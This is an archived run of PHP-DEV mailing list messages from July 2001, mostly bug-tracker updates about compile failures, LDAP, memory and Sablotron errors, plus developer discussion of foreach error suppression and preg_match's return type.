ID: 11843 User Update by: [EMAIL PROTECTED] Status: Open Bug Type: Feature/Change Request Operating system: PHP Version: Earlier? Upgrade first! Description: a Previous Comments: --- [2001-07-02 14:35:06] [EMAIL PROTECTED] a --- [2001-07-02 14:32:34] [EMAIL PROTECTED] --- Full Bug description available at: http://bugs.php.net/?id=11843 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11843 Updated:
ID: 11843 Updated by: derick Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Bogus Bug Type: Feature/Change Request Operating system: PHP Version: Earlier? Upgrade first! Assigned To: Comments: Go play somewhere else! Previous Comments: --- [2001-07-02 14:35:19] [EMAIL PROTECTED] a --- [2001-07-02 14:35:06] [EMAIL PROTECTED] a --- [2001-07-02 14:32:34] [EMAIL PROTECTED] --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11843edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11844: It would be nice to have tags in PHP just like JSP tags.
From: [EMAIL PROTECTED] Operating system: Win 2000 PHP version: 4.0.6 PHP Bug Type: Feature/Change Request Bug description: It would be nice to have tags in PHP just like JSP tags. -- Edit Bug report at: http://bugs.php.net/?id=11844edit=1 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11844 Updated: It would be nice to have tags in PHP just like JSP tags.
ID: 11844 Updated by: derick Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Feedback Bug Type: Feature/Change Request Operating system: PHP Version: 4.0.6 Assigned To: Comments: What are JSP tags? Previous Comments: --- [2001-07-02 14:54:57] [EMAIL PROTECTED] --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11844edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11845: ldap_mod_add/ldap_mod_del duplicating LDAP calls sporadically
From: [EMAIL PROTECTED] Operating system: Solaris 2.8 PHP version: 4.0.5 PHP Bug Type: LDAP related Bug description: ldap_mod_add/ldap_mod_del duplicating LDAP calls sporadically PHP is linked against the IPlanet LDAP SDK v5.0, using --ldap=/usr/local/ldap ldap_mod_add and ldap_mod_del seem to sporadically duplicate LDAP calls Take the following function. function addtogroup($ds, $username, $groupname) { $addme[memberuid] = #username; $dn = cn=.$groupname., ou=group, dc=ltyr, dc=net; $res = ldap_mod_add($ds, $dn, $addme); echo Hi - I've run!; if ($res) { return TRUE; } else { $errstr = ldap_error($ds); echo Ldap error: $errstrp; return FALSE; } } In this function, I added the echo statement to make sure that ldap_mod_add is only being called once. It is. Yet, I sporadically get errors stating Type or value exists, along with a PHP warning: LDAP: modify operation could not be completed - in addition, I see the MOD line come through the LDAP logs twice. However, the attribute is always deleted / added correctly. There seems to be no consistency to this whatsoever. -- Edit Bug report at: http://bugs.php.net/?id=11845edit=1 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11846: AL EJECUTAR MAKE MARCA ERROR
From: [EMAIL PROTECTED] Operating system: NCR WM 4300 unix systema V MP-RAS 3.02 PHP version: 4.0.6 PHP Bug Type: Compile Problem Bug description: AL EJECUTAR MAKE MARCA ERROR NCR High Performance C Compiler R3.0c (c) Copyright 1994-97, NCR Corporation (c) Copyright 1987-97, MetaWare Incorporated E my_init.c,L44/C7(#237): INT_MAX: Identifier is undeclared. w my_init.c,L100/C9(#257):'=' encountered where '==' may have been intended. 1 user error 1 warning *** Error code 1 (bu21) make: fatal error. *** Error code 1 (bu21) make: fatal error. *** Error code 1 (bu21) make: fatal error. *** Error code 1 (bu21) make: fatal error. *** Error code 1 (bu21) make: fatal error. -- Edit Bug report at: http://bugs.php.net/?id=11846edit=1 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11847: Out-of-Memory
From: [EMAIL PROTECTED] Operating system: RedHat Linux 6.1 Kernel 2.2.18 PHP version: 4.0.6 PHP Bug Type: *General Issues Bug description: Out-of-Memory Some (quite heavy) scripts running fine with v4.0.5 are randomly causing Out of Memory errors. I've switched back to 4.0.5. I cannot reproduce the problem but I've seen them occurring mostly when dealing with mysql select queries. Let me know if I can help you somehow. -- Edit Bug report at: http://bugs.php.net/?id=11847edit=1 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11847 Updated: Out-of-Memory
ID: 11847 Updated by: derick Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Feedback Bug Type: *General Issues Operating system: PHP Version: 4.0.6 Assigned To: Comments: Can you try the patch that is available on the PHP Download site (www.php.net/downloads.php) ? Derick Previous Comments: --- [2001-07-02 15:23:22] [EMAIL PROTECTED] Some (quite heavy) scripts running fine with v4.0.5 are randomly causing Out of Memory errors. I've switched back to 4.0.5. I cannot reproduce the problem but I've seen them occurring mostly when dealing with mysql select queries. Let me know if I can help you somehow. --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11847edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11848 Updated: microtime.c compilation
ID: 11848 Updated by: derick Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Closed Bug Type: Compile Failure Operating system: PHP Version: 4.0.6 Assigned To: Comments: RTFM: see www.php.net/FAQ.php, item 6.12 Derick Previous Comments: --- [2001-07-02 15:43:56] [EMAIL PROTECTED] I've tried to compile using: './configure --with-mysql --with-apx=/usr/local/apache/bin/apxs' and after typing 'make', it said: microtime.c: In function `php_if_getrusage': microtime.c:99: storage size of `usg' isn't known microtime.c:102: `RUSAGE_SELF' undeclared (first use in this function) microtime.c:102: (Each undeclared identifier is reported only once microtime.c:102: for each function it appears in.) microtime.c:108: `RUSAGE_CHILDREN' undeclared (first use in this function) --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11848edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11843 Updated:
ID: 11843 User Update by: [EMAIL PROTECTED] Status: Bogus Bug Type: Feature/Change Request Operating system: PHP Version: Earlier? Upgrade first! Description: a Previous Comments: --- [2001-07-02 14:36:31] [EMAIL PROTECTED] Go play somewhere else! --- [2001-07-02 14:35:19] [EMAIL PROTECTED] a --- [2001-07-02 14:35:06] [EMAIL PROTECTED] a --- [2001-07-02 14:32:34] [EMAIL PROTECTED] --- Full Bug description available at: http://bugs.php.net/?id=11843 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Re: Bug #11839 Updated: hack? following is a discussion of the hack...... Is PHP the problem?????????
At 04:39 PM 7/2/01 +, you wrote: ID: 11839 Updated by: derick Reported By: [EMAIL PROTECTED] Old-Status: Open Status: Feedback Bug Type: Unknown/Other Function Operating system: PHP Version: 4.0.6 Assigned To: Comments: Can you please summarize this? Derick I believe that some code in the PHP module looks for an HTML tag that has the string /ad/ in it, removes the and places the html comment --! -- around the html tag. This happens only if the html is going to a client on a system other than on the server. This results in the banner ad not being displayed. I noticed this in the latest 4.0.6 tarball. I got around the issue by using the string /add/ in my html tag. The string /ad/ is part of the eZPublish banner ad. I know it sounds weird, but that's it in a nutshell. Mark -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] switch, equality and preg_match
On Sun, 01 Jul 2001, Andrei Zmievski wrote: At 09:06 AM 7/1/01 -0500, Daniel Beckham wrote: Someone poke me when you decide what to do and I'll change the return type in the preg_match docs. I need to take a closer look at the code to see why it is that way. Okay, this is because both preg_match and preg_match_all use the same function internally, so the return type for both is an integer indicating the number of matches. Do you really think it should be changed? -Andrei Tomorrow the sun will rise. And who knows what the tide will bring? - Tom Hanks, in Cast Away -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] switch, equality and preg_match
On Mon, 02 Jul 2001, Daniel Beckham wrote: No matter what, the documentation should be changed. It's incorrect whether you leave the function as is, or not. Although, IMO, I think that it would be more intuitive to make the function's return type boolean instead of int. Hell, for that matter, give us the m// syntax while we are requesting changes. =) Fsck that, I'm not getting into that cesspool again. :) -Andrei Man, if you gotta ask, you'll never know. - Louis Armstrong, when asked What is jazz? -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] foreach behavior and error suppression (@foo)
There are several open feature requests in the bug system to allow the use of @ to suppress warnings when using a non array with foreach. What's the status of this? Is this a hell no!, not possible with the current state of the code or a when we get around to it? Thanks, Daniel -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] foreach behavior and error suppression (@foo)
If the question is about @foreach(...) ... Then the answer is somewhere between 'hell no!' and 'not possible with the current state of the code'. foreach is a statement, whereas @ is an operator that works on expressions... At 00:16 3/7/2001, Daniel Beckham wrote: There are several open feature requests in the bug system to allow the use of @ to suppress warnings when using a non array with foreach. What's the status of this? Is this a hell no!, not possible with the current state of the code or a when we get around to it? Thanks, Daniel -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED] -- Zeev Suraski [EMAIL PROTECTED] CTO co-founder, Zend Technologies Ltd. http://www.zend.com/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] foreach behavior and error suppression (@foo)
Yes, it would be nice for foreach to be a little more forgiving even if it is far in the future. Daniel - Original Message - From: Zak Greant [EMAIL PROTECTED] To: Daniel Beckham [EMAIL PROTECTED]; php-dev [EMAIL PROTECTED] Sent: Monday, July 02, 2001 4:18 PM Subject: Re: [PHP-DEV] foreach behavior and error suppression (@foo) Perhaps we want to roll this request into the list of proposed changes for PHP 5? --zak - Original Message - From: Daniel Beckham [EMAIL PROTECTED] To: php-dev [EMAIL PROTECTED] Sent: Monday, July 02, 2001 3:16 PM Subject: [PHP-DEV] foreach behavior and error suppression (@foo) There are several open feature requests in the bug system to allow the use of @ to suppress warnings when using a non array with foreach. What's the status of this? Is this a hell no!, not possible with the current state of the code or a when we get around to it? Thanks, Daniel -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED] -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED] -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] foreach behavior and error suppression (@foo)
I know this will be also shot down, but at least I tried. What about the possiblity of foreach simply acting on the variable as if it was list($var) or array($var)? It seems that it wouldn't break any existing behavior, but would only make foreach more flexible. Daniel - Original Message - From: Zeev Suraski [EMAIL PROTECTED] To: Daniel Beckham [EMAIL PROTECTED] Cc: php-dev [EMAIL PROTECTED] Sent: Monday, July 02, 2001 4:19 PM Subject: Re: [PHP-DEV] foreach behavior and error suppression (@foo) If the question is about @foreach(...) ... Then the answer is somewhere between 'hell no!' and 'not possible with the current state of the code'. foreach is a statement, whereas @ is an operator that works on expressions... At 00:16 3/7/2001, Daniel Beckham wrote: There are several open feature requests in the bug system to allow the use of @ to suppress warnings when using a non array with foreach. What's the status of this? Is this a hell no!, not possible with the current state of the code or a when we get around to it? Thanks, Daniel -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED] -- Zeev Suraski [EMAIL PROTECTED] CTO co-founder, Zend Technologies Ltd. http://www.zend.com/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED] -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11846 Updated: AL EJECUTAR MAKE MARCA ERROR
ID: 11846 User Update by: [EMAIL PROTECTED] Old-Status: Feedback Status: Open Bug Type: Compile Problem Operating system: NCR WM 4300 unix systema V MP-RA PHP Version: 4.0.6 Description: AL EJECUTAR MAKE MARCA ERROR THE VERSION installed version at the moment is 3.0.18 without problem. not compile with mysql, use to informix database the procedure is 1.- $ cd apache_1.3.19 $ ./configure # OK NO ERROR $ cd ../php4.0.6 $ cd php-4.0.6 $ ./configure --with-informix=yes --with-apache=/admvos/apache/apache_1.3.19 --enable-sysvsem --enable -sysvshm# OK NO ERROR $ make Making all in libmysql cc -I. -I/admvos/sistgczo/php-4.0.6/ext/mysql/libmysql -I/admvos/sistgczo/php-4.0.6/main -I/admvos/sistgczo/php-4.0.6 -I/admvos/apache/apache_1.3.19/src/include -I/admvos/apache/apache_1.3.19/src/os/unix -I/admvos/sistgczo/php-4.0.6/Zend -I/usr/informix/incl/esql -I/admvos/sistgczo/php-4.0.6/ext/mysql/libmysql -I/admvos/sistgczo/php-4.0.6/ext/xml/expat/xmltok -I/admvos/sistgczo/php-4.0.6/ext/xml/expat/xmlparse -I/admvos/sistgczo/php-4.0.6/TSRM -DSUPPORT_UTF8 -DXML_BYTE_ORDER=12 -c my_init.c touch my_init.lo NCR High Performance C Compiler R3.0c (c) Copyright 1994-97, NCR Corporation (c) Copyright 1987-97, MetaWare Incorporated E my_init.c,L44/C7(#237): INT_MAX: Identifier is undeclared. w my_init.c,L100/C9(#257):'=' encountered where '==' may have been intended. 1 user error 1 warning *** Error code 1 (bu21) make: fatal error. *** Error code 1 (bu21) make: fatal error. *** Error code 1 (bu21) make: fatal error. *** Error code 1 (bu21) make: fatal error. *** Error code 1 (bu21) make: fatal error.# THE LAST 25 LINES $ THE VERSION installed version at the moment is 3.0.18 without problem. THANKS GRACIAS Previous Comments: --- [2001-07-02 15:18:00] [EMAIL PROTECTED] You get this error during the compilation of the mysql client libraries that are bundled with PHP. Can you compile MySQL without problems? And can you possibly try gcc for the compilation of PHP? What is you configure line? Derick --- [2001-07-02 15:15:00] [EMAIL PROTECTED] NCR High Performance C Compiler R3.0c (c) Copyright 1994-97, NCR Corporation (c) Copyright 1987-97, MetaWare Incorporated E my_init.c,L44/C7(#237): INT_MAX: Identifier is undeclared. w my_init.c,L100/C9(#257):'=' encountered where '==' may have been intended. 1 user error 1 warning *** Error code 1 (bu21) make: fatal error. *** Error code 1 (bu21) make: fatal error. *** Error code 1 (bu21) make: fatal error. *** Error code 1 (bu21) make: fatal error. *** Error code 1 (bu21) make: fatal error. --- Full Bug description available at: http://bugs.php.net/?id=11846 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #8865 Updated: App launching with hotkeys delayed
ID: 8865 User Update by: [EMAIL PROTECTED] Old-Status: Feedback Status: Open Bug Type: Apache related Operating system: Windows 95b, 98 PHP Version: 4.0.4pl1 Description: App launching with hotkeys delayed No. It only happens when PHP is loaded as a module. If it happens when used as CGI it is not noticeable, since it runs for just a few moments. Probably a web server with lots of traffic could cause the same problem, but mine is a small intranet so I wouldn't notice. Previous Comments: --- [2001-06-14 20:40:36] [EMAIL PROTECTED] Does this happen if you comment out the PHP loadmodule statement in apache conf? (and stop / start apache) --- [2001-05-12 20:02:11] [EMAIL PROTECTED] I just tried with 4.0.5, and it happens just the same. Also the condition I explained in bug 8864 still holds constant. More info: -Win95 SR-2, Winsock 2 patch, IP (for ws2) patch, TCP (for ws2) patch, comdlg401 patch, DCOM95 installed. -Apache 1.3.12, no bells, no whistles, just out-of-the-box -PHP 4.0.5 (binary download from php.net) -NO extensions loaded, just plain PHP. -Not related to any particular code, this is is a condition on windows itself: apache and php run beautifully. The trouble occurs for other apps when apache runs with the apache-php module. -The slowing down of apps launched using hotkeys is NOT related to any particular application, but is a windows delay. The delay is for the launching (5-7 sec. delay with freeze-up), not for normal running once an app has been launched. If I get things running, everything works ok. -No apparent relation to any other running app: I've tried shutting down everything (yhat is, only explorer running), and then launching apache with php as a module, and the condition persists just the same. I'll try 4.0.6dev on a win98 box and report back. Hope this helps. Gonzalo. --- [2001-05-12 12:49:46] [EMAIL PROTECTED] Can you please try it with 4.0.5, or preferrable php-4.0.6dev ? --- [2001-05-12 10:53:48] [EMAIL PROTECTED] Sure does! I haven't tried php 4.0.5-dev on this, but 4.0.4 pl1 does. I still think it must be related to bug 8864 (which died as I didn't give any prompt feedback, but is also real). It's not a Win95 issue only, it also happens on Win98 (haven't tried Win Me). --- [2001-05-11 21:07:42] [EMAIL PROTECTED] Does this still happen? --Jani --- The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online. Full Bug description available at: http://bugs.php.net/?id=8865 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #8866 Updated: Frozen applications with apache module running
ID: 8866 User Update by: [EMAIL PROTECTED] Old-Status: Feedback Status: Open Bug Type: Apache related Operating system: Windows 95b, 98 PHP Version: 4.0.4pl1 Description: Frozen applications with apache module running Same explanation as bug 8865: it only happens when PHP is loaded as a module. It doesn't happen without PHP or with PHP running as CGI. It doesn't happen with plain apache. Previous Comments: --- [2001-06-14 20:39:28] [EMAIL PROTECTED] And this only happens when Apache has PHP enabled? If you comment the loading of the module, and stop and start apache, does it still happen? --- [2001-01-23 12:31:21] [EMAIL PROTECTED] When running as module, there's a conflict with some applications; tested applications include (but are not limited to): Eudora lite 3.0.6 Servant Salamander EditPlus Mozilla 0.7 they freeze upon launching, unfreez when apache is stopped, and work ok from then on when apache is restarted. --- Full Bug description available at: http://bugs.php.net/?id=8866 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
Re: [PHP-DEV] foreach behavior and error suppression (@foo)
We may actually make an attempt at it in the engine 2 :) At 00:33 3/7/2001, Daniel Beckham wrote: I know this will be also shot down, but at least I tried. What about the possiblity of foreach simply acting on the variable as if it was list($var) or array($var)? It seems that it wouldn't break any existing behavior, but would only make foreach more flexible. Daniel - Original Message - From: Zeev Suraski [EMAIL PROTECTED] To: Daniel Beckham [EMAIL PROTECTED] Cc: php-dev [EMAIL PROTECTED] Sent: Monday, July 02, 2001 4:19 PM Subject: Re: [PHP-DEV] foreach behavior and error suppression (@foo) If the question is about @foreach(...) ... Then the answer is somewhere between 'hell no!' and 'not possible with the current state of the code'. foreach is a statement, whereas @ is an operator that works on expressions... At 00:16 3/7/2001, Daniel Beckham wrote: There are several open feature requests in the bug system to allow the use of @ to suppress warnings when using a non array with foreach. What's the status of this? Is this a hell no!, not possible with the current state of the code or a when we get around to it? Thanks, Daniel -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED] -- Zeev Suraski [EMAIL PROTECTED] CTO co-founder, Zend Technologies Ltd. http://www.zend.com/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED] -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED] -- Zeev Suraski [EMAIL PROTECTED] CTO co-founder, Zend Technologies Ltd. http://www.zend.com/ -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] language development list
the perl, python, and tcl guys have put together a list to talk about common issues in language development (like unicode, threads, numeric conversions, etc). i figured the language geeks lurking here might be interested. subscribe by sending a blank mail to [EMAIL PROTECTED] jim -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11848 Updated: microtime.c compilation
ID: 11848 Updated by: sniper Reported By: [EMAIL PROTECTED] Old-Status: Closed Status: Bogus Bug Type: Compile Failure Operating system: PHP Version: 4.0.6 Assigned To: Comments: Previous Comments: --- [2001-07-02 15:43:56] [EMAIL PROTECTED] I've tried to compile using: './configure --with-mysql --with-apx=/usr/local/apache/bin/apxs' and after typing 'make', it said: microtime.c: In function `php_if_getrusage': microtime.c:99: storage size of `usg' isn't known microtime.c:102: `RUSAGE_SELF' undeclared (first use in this function) microtime.c:102: (Each undeclared identifier is reported only once microtime.c:102: for each function it appears in.) microtime.c:108: `RUSAGE_CHILDREN' undeclared (first use in this function) --- ATTENTION! Do NOT reply to this email! To reply, use the web interface found at http://bugs.php.net/?id=11848edit=2 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]
[PHP-DEV] Bug #11849: random duplicit rule name error
From: [EMAIL PROTECTED] Operating system: Linux PHP version: 4.0.5 PHP Bug Type: Sablotron XSL Bug description: random duplicit rule name error Randomly, any pages that normally work fine (all pages on the site), die with: Fatal error: duplicit rule name 'nav_new' nav_new is the name of the first named template in the xsl document. Other pages report different ones, whichever is first in the document. If I go get a cup of coffee, they'll usually work again by the time I come back. I can't see any pattern as to what triggers the problem. Here's my config: './configure' '--prefix=/usr' '--with-apxs=/usr/sbin/apxs' '--with-gd' '--enable-safe-mode' '--with-config-file-path=/etc/httpd' '--with-exec-dir=/usr/bin' '--enable-magic-quotes' '--with-regex=system' '--with-ttf=/usr/lib/libttf.so' '--enable-track-vars' '--enable-xml' '--with-mysql=/usr' '--with-pgsql' '--with-trans-sid' '--with-dom=/usr' '--with-zlib=/usr' '--with-java=/usr/java/jdk1.3' '--with-sablot=/usr/local/lib' '--with-expat=/usr/local/lib' '--with-pdflib=/usr/local/lib' '--with-cpdflib=/usr/local/include' '--with-fdf=/usr/lib' I'm using Sablotron 0.60 -- Edit Bug report at: http://bugs.php.net/?id=11849edit=1 -- PHP Development Mailing List http://www.php.net/ To unsubscribe, e-mail: [EMAIL PROTECTED] For additional commands, e-mail: [EMAIL PROTECTED] To contact the list administrators, e-mail: [EMAIL PROTECTED]